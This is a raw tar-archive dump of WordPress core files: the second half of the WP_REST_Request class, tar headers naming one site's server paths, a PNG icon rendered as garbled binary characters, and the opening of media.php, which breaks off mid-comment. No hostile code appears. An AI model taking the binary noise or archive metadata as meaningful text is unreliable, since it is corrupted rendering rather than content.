	 *
	 * @return string HTTP method.
	 */
	public function get_method() {
		return $this->method;
	}

	/**
	 * Sets HTTP method for the request.
	 *
	 * @since 4.4.0
	 *
	 * @param string $method HTTP method.
	 */
	public function set_method( $method ) {
		$this->method = strtoupper( $method );
	}

	/**
	 * Retrieves all headers from the request.
	 *
	 * @since 4.4.0
	 *
	 * @return array Map of key to value. Key is always lowercase, as per HTTP specification.
	 */
	public function get_headers() {
		return $this->headers;
	}

	/**
	 * Determines if the request is the given method.
	 *
	 * @since 6.8.0
	 *
	 * @param string $method HTTP method.
	 * @return bool Whether the request is of the given method.
	 */
	public function is_method( $method ) {
		return $this->get_method() === strtoupper( $method );
	}

	/**
	 * Canonicalizes the header name.
	 *
	 * Ensures that header names are always treated the same regardless of
	 * source. Header names are always case-insensitive.
	 *
	 * Note that we treat `-` (dashes) and `_` (underscores) as the same
	 * character, as per header parsing rules in both Apache and nginx.
	 *
	 * @link https://stackoverflow.com/q/18185366
	 * @link https://www.nginx.com/resources/wiki/start/topics/tutorials/config_pitfalls/#missing-disappearing-http-headers
	 * @link https://nginx.org/en/docs/http/ngx_http_core_module.html#underscores_in_headers
	 *
	 * @since 4.4.0
	 *
	 * @param string $key Header name.
	 * @return string Canonicalized name.
	 */
	public static function canonicalize_header_name( $key ) {
		$key = strtolower( $key );
		$key = str_replace( '-', '_', $key );

		return $key;
	}

	/**
	 * Retrieves the given header from the request.
	 *
	 * If the header has multiple values, they will be concatenated with a comma
	 * as per the HTTP specification. Be aware that some non-compliant headers
	 * (notably cookie headers) cannot be joined this way.
	 *
	 * @since 4.4.0
	 *
	 * @param string $key Header name, will be canonicalized to lowercase.
	 * @return string|null String value if set, null otherwise.
	 */
	public function get_header( $key ) {
		$key = $this->canonicalize_header_name( $key );

		if ( ! isset( $this->headers[ $key ] ) ) {
			return null;
		}

		return implode( ',', $this->headers[ $key ] );
	}

	/**
	 * Retrieves header values from the request.
	 *
	 * @since 4.4.0
	 *
	 * @param string $key Header name, will be canonicalized to lowercase.
	 * @return array|null List of string values if set, null otherwise.
	 */
	public function get_header_as_array( $key ) {
		$key = $this->canonicalize_header_name( $key );

		if ( ! isset( $this->headers[ $key ] ) ) {
			return null;
		}

		return $this->headers[ $key ];
	}

	/**
	 * Sets the header on request.
	 *
	 * @since 4.4.0
	 *
	 * @param string $key   Header name.
	 * @param string $value Header value, or list of values.
	 */
	public function set_header( $key, $value ) {
		$key   = $this->canonicalize_header_name( $key );
		$value = (array) $value;

		$this->headers[ $key ] = $value;
	}

	/**
	 * Appends a header value for the given header.
	 *
	 * @since 4.4.0
	 *
	 * @param string $key   Header name.
	 * @param string $value Header value, or list of values.
	 */
	public function add_header( $key, $value ) {
		$key   = $this->canonicalize_header_name( $key );
		$value = (array) $value;

		if ( ! isset( $this->headers[ $key ] ) ) {
			$this->headers[ $key ] = array();
		}

		$this->headers[ $key ] = array_merge( $this->headers[ $key ], $value );
	}

	/**
	 * Removes all values for a header.
	 *
	 * @since 4.4.0
	 *
	 * @param string $key Header name.
	 */
	public function remove_header( $key ) {
		$key = $this->canonicalize_header_name( $key );
		unset( $this->headers[ $key ] );
	}

	/**
	 * Sets headers on the request.
	 *
	 * @since 4.4.0
	 *
	 * @param array $headers  Map of header name to value.
	 * @param bool  $override If true, replace the request's headers. Otherwise, merge with existing.
	 */
	public function set_headers( $headers, $override = true ) {
		if ( true === $override ) {
			$this->headers = array();
		}

		foreach ( $headers as $key => $value ) {
			$this->set_header( $key, $value );
		}
	}

	/**
	 * Retrieves the Content-Type of the request.
	 *
	 * @since 4.4.0
	 *
	 * @return array|null Map containing 'value' and 'parameters' keys
	 *                    or null when no valid Content-Type header was
	 *                    available.
	 */
	public function get_content_type() {
		$value = $this->get_header( 'Content-Type' );
		if ( empty( $value ) ) {
			return null;
		}

		$parameters = '';
		if ( strpos( $value, ';' ) ) {
			list( $value, $parameters ) = explode( ';', $value, 2 );
		}

		$value = strtolower( $value );
		if ( ! str_contains( $value, '/' ) ) {
			return null;
		}

		// Parse type and subtype out.
		list( $type, $subtype ) = explode( '/', $value, 2 );

		$data = compact( 'value', 'type', 'subtype', 'parameters' );
		$data = array_map( 'trim', $data );

		return $data;
	}

	/**
	 * Checks if the request has specified a JSON Content-Type.
	 *
	 * @since 5.6.0
	 *
	 * @return bool True if the Content-Type header is JSON.
	 */
	public function is_json_content_type() {
		$content_type = $this->get_content_type();

		return isset( $content_type['value'] ) && wp_is_json_media_type( $content_type['value'] );
	}

	/**
	 * Retrieves the parameter priority order.
	 *
	 * Used when checking parameters in WP_REST_Request::get_param().
	 *
	 * @since 4.4.0
	 *
	 * @return string[] Array of types to check, in order of priority.
	 */
	protected function get_parameter_order() {
		$order = array();

		if ( $this->is_json_content_type() ) {
			$order[] = 'JSON';
		}

		$this->parse_json_params();

		// Ensure we parse the body data.
		$body = $this->get_body();

		if ( 'POST' !== $this->method && ! empty( $body ) ) {
			$this->parse_body_params();
		}

		$accepts_body_data = array( 'POST', 'PUT', 'PATCH', 'DELETE' );
		if ( in_array( $this->method, $accepts_body_data, true ) ) {
			$order[] = 'POST';
		}

		$order[] = 'GET';
		$order[] = 'URL';
		$order[] = 'defaults';

		/**
		 * Filters the parameter priority order for a REST API request.
		 *
		 * The order affects which parameters are checked when using WP_REST_Request::get_param()
		 * and family. This acts similarly to PHP's `request_order` setting.
		 *
		 * @since 4.4.0
		 *
		 * @param string[]        $order   Array of types to check, in order of priority.
		 * @param WP_REST_Request $request The request object.
		 */
		return apply_filters( 'rest_request_parameter_order', $order, $this );
	}

	/**
	 * Retrieves a parameter from the request.
	 *
	 * @since 4.4.0
	 *
	 * @param string $key Parameter name.
	 * @return mixed|null Value if set, null otherwise.
	 */
	public function get_param( $key ) {
		$order = $this->get_parameter_order();

		foreach ( $order as $type ) {
			// Determine if we have the parameter for this type.
			if ( isset( $this->params[ $type ][ $key ] ) ) {
				return $this->params[ $type ][ $key ];
			}
		}

		return null;
	}

	/**
	 * Checks if a parameter exists in the request.
	 *
	 * This allows distinguishing between an omitted parameter,
	 * and a parameter specifically set to null.
	 *
	 * @since 5.3.0
	 *
	 * @param string $key Parameter name.
	 * @return bool True if a param exists for the given key.
	 */
	public function has_param( $key ) {
		$order = $this->get_parameter_order();

		foreach ( $order as $type ) {
			if ( is_array( $this->params[ $type ] ) && array_key_exists( $key, $this->params[ $type ] ) ) {
				return true;
			}
		}

		return false;
	}

	/**
	 * Sets a parameter on the request.
	 *
	 * If the given parameter key exists in any parameter type an update will take place,
	 * otherwise a new param will be created in the first parameter type (respecting
	 * get_parameter_order()).
	 *
	 * @since 4.4.0
	 *
	 * @param string $key   Parameter name.
	 * @param mixed  $value Parameter value.
	 */
	public function set_param( $key, $value ) {
		$order     = $this->get_parameter_order();
		$found_key = false;

		foreach ( $order as $type ) {
			if ( 'defaults' !== $type && is_array( $this->params[ $type ] ) && array_key_exists( $key, $this->params[ $type ] ) ) {
				$this->params[ $type ][ $key ] = $value;
				$found_key                     = true;
			}
		}

		if ( ! $found_key ) {
			$this->params[ $order[0] ][ $key ] = $value;
		}
	}

	/**
	 * Retrieves merged parameters from the request.
	 *
	 * The equivalent of get_param(), but returns all parameters for the request.
	 * Handles merging all the available values into a single array.
	 *
	 * @since 4.4.0
	 *
	 * @return array Map of key to value.
	 */
	public function get_params() {
		$order = $this->get_parameter_order();
		$order = array_reverse( $order, true );

		$params = array();
		foreach ( $order as $type ) {
			/*
			 * array_merge() / the "+" operator will mess up
			 * numeric keys, so instead do a manual foreach.
			 */
			foreach ( (array) $this->params[ $type ] as $key => $value ) {
				$params[ $key ] = $value;
			}
		}

		// Exclude rest_route if pretty permalinks are not enabled.
		if ( ! get_option( 'permalink_structure' ) ) {
			unset( $params['rest_route'] );
		}

		return $params;
	}

	/**
	 * Retrieves parameters from the route itself.
	 *
	 * These are parsed from the URL using the regex.
	 *
	 * @since 4.4.0
	 *
	 * @return array Parameter map of key to value.
	 */
	public function get_url_params() {
		return $this->params['URL'];
	}

	/**
	 * Sets parameters from the route.
	 *
	 * Typically, this is set after parsing the URL.
	 *
	 * @since 4.4.0
	 *
	 * @param array $params Parameter map of key to value.
	 */
	public function set_url_params( $params ) {
		$this->params['URL'] = $params;
	}

	/**
	 * Retrieves parameters from the query string.
	 *
	 * These are the parameters you'd typically find in `$_GET`.
	 *
	 * @since 4.4.0
	 *
	 * @return array Parameter map of key to value
	 */
	public function get_query_params() {
		return $this->params['GET'];
	}

	/**
	 * Sets parameters from the query string.
	 *
	 * Typically, this is set from `$_GET`.
	 *
	 * @since 4.4.0
	 *
	 * @param array $params Parameter map of key to value.
	 */
	public function set_query_params( $params ) {
		$this->params['GET'] = $params;
	}

	/**
	 * Retrieves parameters from the body.
	 *
	 * These are the parameters you'd typically find in `$_POST`.
	 *
	 * @since 4.4.0
	 *
	 * @return array Parameter map of key to value.
	 */
	public function get_body_params() {
		return $this->params['POST'];
	}

	/**
	 * Sets parameters from the body.
	 *
	 * Typically, this is set from `$_POST`.
	 *
	 * @since 4.4.0
	 *
	 * @param array $params Parameter map of key to value.
	 */
	public function set_body_params( $params ) {
		$this->params['POST'] = $params;
	}

	/**
	 * Retrieves multipart file parameters from the body.
	 *
	 * These are the parameters you'd typically find in `$_FILES`.
	 *
	 * @since 4.4.0
	 *
	 * @return array Parameter map of key to value
	 */
	public function get_file_params() {
		return $this->params['FILES'];
	}

	/**
	 * Sets multipart file parameters from the body.
	 *
	 * Typically, this is set from `$_FILES`.
	 *
	 * @since 4.4.0
	 *
	 * @param array $params Parameter map of key to value.
	 */
	public function set_file_params( $params ) {
		$this->params['FILES'] = $params;
	}

	/**
	 * Retrieves the default parameters.
	 *
	 * These are the parameters set in the route registration.
	 *
	 * @since 4.4.0
	 *
	 * @return array Parameter map of key to value
	 */
	public function get_default_params() {
		return $this->params['defaults'];
	}

	/**
	 * Sets default parameters.
	 *
	 * These are the parameters set in the route registration.
	 *
	 * @since 4.4.0
	 *
	 * @param array $params Parameter map of key to value.
	 */
	public function set_default_params( $params ) {
		$this->params['defaults'] = $params;
	}

	/**
	 * Retrieves the request body content.
	 *
	 * @since 4.4.0
	 *
	 * @return string Binary data from the request body.
	 */
	public function get_body() {
		return $this->body;
	}

	/**
	 * Sets body content.
	 *
	 * @since 4.4.0
	 *
	 * @param string $data Binary data from the request body.
	 */
	public function set_body( $data ) {
		$this->body = $data;

		// Enable lazy parsing.
		$this->parsed_json    = false;
		$this->parsed_body    = false;
		$this->params['JSON'] = null;
	}

	/**
	 * Retrieves the parameters from a JSON-formatted body.
	 *
	 * @since 4.4.0
	 *
	 * @return array Parameter map of key to value.
	 */
	public function get_json_params() {
		// Ensure the parameters have been parsed out.
		$this->parse_json_params();

		return $this->params['JSON'];
	}

	/**
	 * Parses the JSON parameters.
	 *
	 * Avoids parsing the JSON data until we need to access it.
	 *
	 * @since 4.4.0
	 * @since 4.7.0 Returns error instance if value cannot be decoded.
	 * @return true|WP_Error True if the JSON data was passed or no JSON data was provided, WP_Error if invalid JSON was passed.
	 */
	protected function parse_json_params() {
		if ( $this->parsed_json ) {
			return true;
		}

		$this->parsed_json = true;

		// Check that we actually got JSON.
		if ( ! $this->is_json_content_type() ) {
			return true;
		}

		$body = $this->get_body();
		if ( empty( $body ) ) {
			return true;
		}

		$params = json_decode( $body, true );

		/*
		 * Check for a parsing error.
		 */
		if ( null === $params && JSON_ERROR_NONE !== json_last_error() ) {
			// Ensure subsequent calls receive error instance.
			$this->parsed_json = false;

			$error_data = array(
				'status'             => WP_Http::BAD_REQUEST,
				'json_error_code'    => json_last_error(),
				'json_error_message' => json_last_error_msg(),
			);

			return new WP_Error( 'rest_invalid_json', __( 'Invalid JSON body passed.' ), $error_data );
		}

		$this->params['JSON'] = $params;

		return true;
	}

	/**
	 * Parses the request body parameters.
	 *
	 * Parses out URL-encoded bodies for request methods that aren't supported
	 * natively by PHP.
	 *
	 * @since 4.4.0
	 */
	protected function parse_body_params() {
		if ( $this->parsed_body ) {
			return;
		}

		$this->parsed_body = true;

		/*
		 * Check that we got URL-encoded. Treat a missing Content-Type as
		 * URL-encoded for maximum compatibility.
		 */
		$content_type = $this->get_content_type();

		if ( ! empty( $content_type ) && 'application/x-www-form-urlencoded' !== $content_type['value'] ) {
			return;
		}

		parse_str( $this->get_body(), $params );

		/*
		 * Add to the POST parameters stored internally. If a user has already
		 * set these manually (via `set_body_params`), don't override them.
		 */
		$this->params['POST'] = array_merge( $params, $this->params['POST'] );
	}

	/**
	 * Retrieves the route that matched the request.
	 *
	 * @since 4.4.0
	 *
	 * @return string Route matching regex.
	 */
	public function get_route() {
		return $this->route;
	}

	/**
	 * Sets the route that matched the request.
	 *
	 * @since 4.4.0
	 *
	 * @param string $route Route matching regex.
	 */
	public function set_route( $route ) {
		$this->route = $route;
	}

	/**
	 * Retrieves the attributes for the request.
	 *
	 * These are the options for the route that was matched.
	 *
	 * @since 4.4.0
	 *
	 * @return array Attributes for the request.
	 */
	public function get_attributes() {
		return $this->attributes;
	}

	/**
	 * Sets the attributes for the request.
	 *
	 * @since 4.4.0
	 *
	 * @param array $attributes Attributes for the request.
	 */
	public function set_attributes( $attributes ) {
		$this->attributes = $attributes;
	}

	/**
	 * Sanitizes (where possible) the params on the request.
	 *
	 * This is primarily based off the sanitize_callback param on each registered
	 * argument.
	 *
	 * @since 4.4.0
	 *
	 * @return true|WP_Error True if parameters were sanitized, WP_Error if an error occurred during sanitization.
	 */
	public function sanitize_params() {
		$attributes = $this->get_attributes();

		// No arguments set, skip sanitizing.
		if ( empty( $attributes['args'] ) ) {
			return true;
		}

		$order = $this->get_parameter_order();

		$invalid_params  = array();
		$invalid_details = array();

		foreach ( $order as $type ) {
			if ( empty( $this->params[ $type ] ) ) {
				continue;
			}

			foreach ( $this->params[ $type ] as $key => $value ) {
				if ( ! isset( $attributes['args'][ $key ] ) ) {
					continue;
				}

				$param_args = $attributes['args'][ $key ];

				// If the arg has a type but no sanitize_callback attribute, default to rest_parse_request_arg.
				if ( ! array_key_exists( 'sanitize_callback', $param_args ) && ! empty( $param_args['type'] ) ) {
					$param_args['sanitize_callback'] = 'rest_parse_request_arg';
				}
				// If there's still no sanitize_callback, nothing to do here.
				if ( empty( $param_args['sanitize_callback'] ) ) {
					continue;
				}

				/** @var mixed|WP_Error $sanitized_value */
				$sanitized_value = call_user_func( $param_args['sanitize_callback'], $value, $this, $key );

				if ( is_wp_error( $sanitized_value ) ) {
					$invalid_params[ $key ]  = implode( ' ', $sanitized_value->get_error_messages() );
					$invalid_details[ $key ] = rest_convert_error_to_response( $sanitized_value )->get_data();
				} else {
					$this->params[ $type ][ $key ] = $sanitized_value;
				}
			}
		}

		if ( $invalid_params ) {
			return new WP_Error(
				'rest_invalid_param',
				/* translators: %s: List of invalid parameters. */
				sprintf( __( 'Invalid parameter(s): %s' ), implode( ', ', array_keys( $invalid_params ) ) ),
				array(
					'status'  => 400,
					'params'  => $invalid_params,
					'details' => $invalid_details,
				)
			);
		}

		return true;
	}

	/**
	 * Checks whether this request is valid according to its attributes.
	 *
	 * @since 4.4.0
	 *
	 * @return true|WP_Error True if there are no parameters to validate or if all pass validation,
	 *                       WP_Error if required parameters are missing.
	 */
	public function has_valid_params() {
		// If JSON data was passed, check for errors.
		$json_error = $this->parse_json_params();
		if ( is_wp_error( $json_error ) ) {
			return $json_error;
		}

		$attributes = $this->get_attributes();
		$required   = array();

		$args = empty( $attributes['args'] ) ? array() : $attributes['args'];

		foreach ( $args as $key => $arg ) {
			$param = $this->get_param( $key );
			if ( isset( $arg['required'] ) && true === $arg['required'] && null === $param ) {
				$required[] = $key;
			}
		}

		if ( ! empty( $required ) ) {
			return new WP_Error(
				'rest_missing_callback_param',
				/* translators: %s: List of required parameters. */
				sprintf( __( 'Missing parameter(s): %s' ), implode( ', ', $required ) ),
				array(
					'status' => 400,
					'params' => $required,
				)
			);
		}

		/*
		 * Check the validation callbacks for each registered arg.
		 *
		 * This is done after required checking as required checking is cheaper.
		 */
		$invalid_params  = array();
		$invalid_details = array();

		foreach ( $args as $key => $arg ) {

			$param = $this->get_param( $key );

			if ( null !== $param && ! empty( $arg['validate_callback'] ) ) {
				/** @var bool|\WP_Error $valid_check */
				$valid_check = call_user_func( $arg['validate_callback'], $param, $this, $key );

				if ( false === $valid_check ) {
					$invalid_params[ $key ] = __( 'Invalid parameter.' );
				}

				if ( is_wp_error( $valid_check ) ) {
					$invalid_params[ $key ]  = implode( ' ', $valid_check->get_error_messages() );
					$invalid_details[ $key ] = rest_convert_error_to_response( $valid_check )->get_data();
				}
			}
		}

		if ( $invalid_params ) {
			return new WP_Error(
				'rest_invalid_param',
				/* translators: %s: List of invalid parameters. */
				sprintf( __( 'Invalid parameter(s): %s' ), implode( ', ', array_keys( $invalid_params ) ) ),
				array(
					'status'  => 400,
					'params'  => $invalid_params,
					'details' => $invalid_details,
				)
			);
		}

		if ( isset( $attributes['validate_callback'] ) ) {
			$valid_check = call_user_func( $attributes['validate_callback'], $this );

			if ( is_wp_error( $valid_check ) ) {
				return $valid_check;
			}

			if ( false === $valid_check ) {
				// A WP_Error instance is preferred, but false is supported for parity with the per-arg validate_callback.
				return new WP_Error( 'rest_invalid_params', __( 'Invalid parameters.' ), array( 'status' => 400 ) );
			}
		}

		return true;
	}

	/**
	 * Checks if a parameter is set.
	 *
	 * @since 4.4.0
	 *
	 * @param string $offset Parameter name.
	 * @return bool Whether the parameter is set.
	 */
	#[ReturnTypeWillChange]
	public function offsetExists( $offset ) {
		$order = $this->get_parameter_order();

		foreach ( $order as $type ) {
			if ( isset( $this->params[ $type ][ $offset ] ) ) {
				return true;
			}
		}

		return false;
	}

	/**
	 * Retrieves a parameter from the request.
	 *
	 * @since 4.4.0
	 *
	 * @param string $offset Parameter name.
	 * @return mixed|null Value if set, null otherwise.
	 */
	#[ReturnTypeWillChange]
	public function offsetGet( $offset ) {
		return $this->get_param( $offset );
	}

	/**
	 * Sets a parameter on the request.
	 *
	 * @since 4.4.0
	 *
	 * @param string $offset Parameter name.
	 * @param mixed  $value  Parameter value.
	 */
	#[ReturnTypeWillChange]
	public function offsetSet( $offset, $value ) {
		$this->set_param( $offset, $value );
	}

	/**
	 * Removes a parameter from the request.
	 *
	 * @since 4.4.0
	 *
	 * @param string $offset Parameter name.
	 */
	#[ReturnTypeWillChange]
	public function offsetUnset( $offset ) {
		$order = $this->get_parameter_order();

		// Remove the offset from every group.
		foreach ( $order as $type ) {
			unset( $this->params[ $type ][ $offset ] );
		}
	}

	/**
	 * Retrieves a WP_REST_Request object from a full URL.
	 *
	 * @since 4.5.0
	 *
	 * @param string $url URL with protocol, domain, path and query args.
	 * @return WP_REST_Request|false WP_REST_Request object on success, false on failure.
	 */
	public static function from_url( $url ) {
		$bits         = parse_url( $url );
		$query_params = array();

		if ( ! empty( $bits['query'] ) ) {
			wp_parse_str( $bits['query'], $query_params );
		}

		$api_root = rest_url();
		if ( get_option( 'permalink_structure' ) && str_starts_with( $url, $api_root ) ) {
			// Pretty permalinks on, and URL is under the API root.
			$api_url_part = substr( $url, strlen( untrailingslashit( $api_root ) ) );
			$route        = parse_url( $api_url_part, PHP_URL_PATH );
		} elseif ( ! empty( $query_params['rest_route'] ) ) {
			// ?rest_route=... set directly.
			$route = $query_params['rest_route'];
			unset( $query_params['rest_route'] );
		}

		$request = false;
		if ( ! empty( $route ) ) {
			$request = new WP_REST_Request( 'GET', $route );
			$request->set_query_params( $query_params );
		}

		/**
		 * Filters the REST API request generated from a URL.
		 *
		 * @since 4.5.0
		 *
		 * @param WP_REST_Request|false $request Generated request object, or false if URL
		 *                                       could not be parsed.
		 * @param string                $url     URL the request was generated from.
		 */
		return apply_filters( 'rest_request_from_url', $request, $url );
	}
}
14338/default.png.tar000064400000004000151024420100010124 0ustar00home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/images/crystal/default.png000064400000000705151024312610026431 0ustar00�PNG


IHDR.<<��{�IDATHǕ�Qn� Dgܕ��W��=CO���6����Y�Yx2f���ڈ�	�$@��~.��Xh�6�=\6\��m���6i����h]��@��g��$����|Y$I�<ȧ,�7�����X�;^S��{�gj�{2�z�e�pBF��HZ�s��F�̯#���~�B����>3W'~e����vc��'�U}���Qy��<z>.�v�y$P~J�:!��a�W���~an�`��3�Kt=�﹯�r�/酉�*�(�
�_3��u�����������o��u���,J��Xȑ_�դ�/N��d�q�S����3=uwS���n���A�`�0��/���]�:�b��2e˨��b�����	{�ձ��<��A��m��&����@�`�AIEND�B`�14338/media.php.tar000064400000662000151024420100007574 0ustar00home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/media.php000064400000656520151024174260023164 0ustar00<?php
/**
 * WordPress API for media display.
 *
 * @package WordPress
 * @subpackage Media
 */

// Don't load directly.
if ( ! defined( 'ABSPATH' ) ) {
	die( '-1' );
}

/**
 * Retrieves additional image sizes.
 *
 * @since 4.7.0
 *
 * @global array $_wp_additional_image_sizes
 *
 * @return array Additional images size data.
 */
function wp_get_additional_image_sizes() {
	global $_wp_additional_image_sizes;

	if ( ! $_wp_additional_image_sizes ) {
		$_wp_additional_image_sizes = array();
	}

	return $_wp_additional_image_sizes;
}

/**
 * Scales down the default size of an image.
 *
 * This is so that the image is a better fit for the editor and theme.
 *
 * The `$size` parameter accepts either an array or a string. The supported string
 * values are 'thumb' or 'thumbnail' for the given thumbnail size or defaults at
 * 128 width and 96 height in pixels. Also supported for the string value is
 * 'medium', 'medium_large' and 'full'. The 'full' isn't actually supported, but any value other
 * than the supported will result in the content_width size or 500 if that is
 * not set.
 *
 * Finally, there is a filter named {@see 'editor_max_image_size'}, that will be
 * called on the calculated array for width and height, respectively.
 *
 * @since 2.5.0
 *
 * @global int $content_width
 *
 * @param int          $width   Width of the image in pixels.
 * @param int          $height  Height of the image in pixels.
 * @param string|int[] $size    Optional. Image size. Accepts any registered image size name, or an array
 *                              of width and height values in pixels (in that order). Default 'medium'.
 * @param string       $context Optional. Could be 'display' (like in a theme) or 'edit'
 *                              (like inserting into an editor). Default null.
 * @return int[] {
 *     An array of width and height values.
 *
 *     @type int $0 The maximum width in pixels.
 *     @type int $1 The maximum height in pixels.
 * }
 */
function image_constrain_size_for_editor( $width, $height, $size = 'medium', $context = null ) {
	global $content_width;

	$_wp_additional_image_sizes = wp_get_additional_image_sizes();

	if ( ! $context ) {
		$context = is_admin() ? 'edit' : 'display';
	}

	if ( is_array( $size ) ) {
		$max_width  = $size[0];
		$max_height = $size[1];
	} elseif ( 'thumb' === $size || 'thumbnail' === $size ) {
		$max_width  = (int) get_option( 'thumbnail_size_w' );
		$max_height = (int) get_option( 'thumbnail_size_h' );
		// Last chance thumbnail size defaults.
		if ( ! $max_width && ! $max_height ) {
			$max_width  = 128;
			$max_height = 96;
		}
	} elseif ( 'medium' === $size ) {
		$max_width  = (int) get_option( 'medium_size_w' );
		$max_height = (int) get_option( 'medium_size_h' );

	} elseif ( 'medium_large' === $size ) {
		$max_width  = (int) get_option( 'medium_large_size_w' );
		$max_height = (int) get_option( 'medium_large_size_h' );

		if ( (int) $content_width > 0 ) {
			$max_width = min( (int) $content_width, $max_width );
		}
	} elseif ( 'large' === $size ) {
		/*
		 * We're inserting a large size image into the editor. If it's a really
		 * big image we'll scale it down to fit reasonably within the editor
		 * itself, and within the theme's content width if it's known. The user
		 * can resize it in the editor if they wish.
		 */
		$max_width  = (int) get_option( 'large_size_w' );
		$max_height = (int) get_option( 'large_size_h' );

		if ( (int) $content_width > 0 ) {
			$max_width = min( (int) $content_width, $max_width );
		}
	} elseif ( ! empty( $_wp_additional_image_sizes ) && in_array( $size, array_keys( $_wp_additional_image_sizes ), true ) ) {
		$max_width  = (int) $_wp_additional_image_sizes[ $size ]['width'];
		$max_height = (int) $_wp_additional_image_sizes[ $size ]['height'];
		// Only in admin. Assume that theme authors know what they're doing.
		if ( (int) $content_width > 0 && 'edit' === $context ) {
			$max_width = min( (int) $content_width, $max_width );
		}
	} else { // $size === 'full' has no constraint.
		$max_width  = $width;
		$max_height = $height;
	}

	/**
	 * Filters the maximum image size dimensions for the editor.
	 *
	 * @since 2.5.0
	 *
	 * @param int[]        $max_image_size {
	 *     An array of width and height values.
	 *
	 *     @type int $0 The maximum width in pixels.
	 *     @type int $1 The maximum height in pixels.
	 * }
	 * @param string|int[] $size     Requested image size. Can be any registered image size name, or
	 *                               an array of width and height values in pixels (in that order).
	 * @param string       $context  The context the image is being resized for.
	 *                               Possible values are 'display' (like in a theme)
	 *                               or 'edit' (like inserting into an editor).
	 */
	list( $max_width, $max_height ) = apply_filters( 'editor_max_image_size', array( $max_width, $max_height ), $size, $context );

	return wp_constrain_dimensions( $width, $height, $max_width, $max_height );
}

/**
 * Retrieves width and height attributes using given width and height values.
 *
 * Both attributes are required in the sense that both parameters must have a
 * value, but are optional in that if you set them to false or null, then they
 * will not be added to the returned string.
 *
 * You can set the value using a string, but it will only take numeric values.
 * If you wish to put 'px' after the numbers, then it will be stripped out of
 * the return.
 *
 * @since 2.5.0
 *
 * @param int|string $width  Image width in pixels.
 * @param int|string $height Image height in pixels.
 * @return string HTML attributes for width and, or height.
 */
function image_hwstring( $width, $height ) {
	$out = '';
	if ( $width ) {
		$out .= 'width="' . (int) $width . '" ';
	}
	if ( $height ) {
		$out .= 'height="' . (int) $height . '" ';
	}
	return $out;
}

/**
 * Scales an image to fit a particular size (such as 'thumb' or 'medium').
 *
 * The URL might be the original image, or it might be a resized version. This
 * function won't create a new resized copy, it will just return an already
 * resized one if it exists.
 *
 * A plugin may use the {@see 'image_downsize'} filter to hook into and offer image
 * resizing services for images. The hook must return an array with the same
 * elements that are normally returned from the function.
 *
 * @since 2.5.0
 *
 * @param int          $id   Attachment ID for image.
 * @param string|int[] $size Optional. Image size. Accepts any registered image size name, or an array
 *                           of width and height values in pixels (in that order). Default 'medium'.
 * @return array|false {
 *     Array of image data, or boolean false if no image is available.
 *
 *     @type string $0 Image source URL.
 *     @type int    $1 Image width in pixels.
 *     @type int    $2 Image height in pixels.
 *     @type bool   $3 Whether the image is a resized image.
 * }
 */
function image_downsize( $id, $size = 'medium' ) {
	$is_image = wp_attachment_is_image( $id );

	/**
	 * Filters whether to preempt the output of image_downsize().
	 *
	 * Returning a truthy value from the filter will effectively short-circuit
	 * down-sizing the image, returning that value instead.
	 *
	 * @since 2.5.0
	 *
	 * @param bool|array   $downsize Whether to short-circuit the image downsize.
	 * @param int          $id       Attachment ID for image.
	 * @param string|int[] $size     Requested image size. Can be any registered image size name, or
	 *                               an array of width and height values in pixels (in that order).
	 */
	$out = apply_filters( 'image_downsize', false, $id, $size );

	if ( $out ) {
		return $out;
	}

	$img_url          = wp_get_attachment_url( $id );
	$meta             = wp_get_attachment_metadata( $id );
	$width            = 0;
	$height           = 0;
	$is_intermediate  = false;
	$img_url_basename = wp_basename( $img_url );

	/*
	 * If the file isn't an image, attempt to replace its URL with a rendered image from its meta.
	 * Otherwise, a non-image type could be returned.
	 */
	if ( ! $is_image ) {
		if ( ! empty( $meta['sizes']['full'] ) ) {
			$img_url          = str_replace( $img_url_basename, $meta['sizes']['full']['file'], $img_url );
			$img_url_basename = $meta['sizes']['full']['file'];
			$width            = $meta['sizes']['full']['width'];
			$height           = $meta['sizes']['full']['height'];
		} else {
			return false;
		}
	}

	// Try for a new style intermediate size.
	$intermediate = image_get_intermediate_size( $id, $size );

	if ( $intermediate ) {
		$img_url         = str_replace( $img_url_basename, $intermediate['file'], $img_url );
		$width           = $intermediate['width'];
		$height          = $intermediate['height'];
		$is_intermediate = true;
	} elseif ( 'thumbnail' === $size && ! empty( $meta['thumb'] ) && is_string( $meta['thumb'] ) ) {
		// Fall back to the old thumbnail.
		$imagefile = get_attached_file( $id );
		$thumbfile = str_replace( wp_basename( $imagefile ), wp_basename( $meta['thumb'] ), $imagefile );

		if ( file_exists( $thumbfile ) ) {
			$info = wp_getimagesize( $thumbfile );

			if ( $info ) {
				$img_url         = str_replace( $img_url_basename, wp_basename( $thumbfile ), $img_url );
				$width           = $info[0];
				$height          = $info[1];
				$is_intermediate = true;
			}
		}
	}

	if ( ! $width && ! $height && isset( $meta['width'], $meta['height'] ) ) {
		// Any other type: use the real image.
		$width  = $meta['width'];
		$height = $meta['height'];
	}

	if ( $img_url ) {
		// We have the actual image size, but might need to further constrain it if content_width is narrower.
		list( $width, $height ) = image_constrain_size_for_editor( $width, $height, $size );

		return array( $img_url, $width, $height, $is_intermediate );
	}

	return false;
}

/**
 * Registers a new image size.
 *
 * @since 2.9.0
 *
 * @global array $_wp_additional_image_sizes Associative array of additional image sizes.
 *
 * @param string     $name   Image size identifier.
 * @param int        $width  Optional. Image width in pixels. Default 0.
 * @param int        $height Optional. Image height in pixels. Default 0.
 * @param bool|array $crop   {
 *     Optional. Image cropping behavior. If false, the image will be scaled (default).
 *     If true, image will be cropped to the specified dimensions using center positions.
 *     If an array, the image will be cropped using the array to specify the crop location:
 *
 *     @type string $0 The x crop position. Accepts 'left', 'center', or 'right'.
 *     @type string $1 The y crop position. Accepts 'top', 'center', or 'bottom'.
 * }
 */
function add_image_size( $name, $width = 0, $height = 0, $crop = false ) {
	global $_wp_additional_image_sizes;

	$_wp_additional_image_sizes[ $name ] = array(
		'width'  => absint( $width ),
		'height' => absint( $height ),
		'crop'   => $crop,
	);
}

/**
 * Checks if an image size exists.
 *
 * @since 3.9.0
 *
 * @param string $name The image size to check.
 * @return bool True if the image size exists, false if not.
 */
function has_image_size( $name ) {
	$sizes = wp_get_additional_image_sizes();
	return isset( $sizes[ $name ] );
}

/**
 * Removes a new image size.
 *
 * @since 3.9.0
 *
 * @global array $_wp_additional_image_sizes
 *
 * @param string $name The image size to remove.
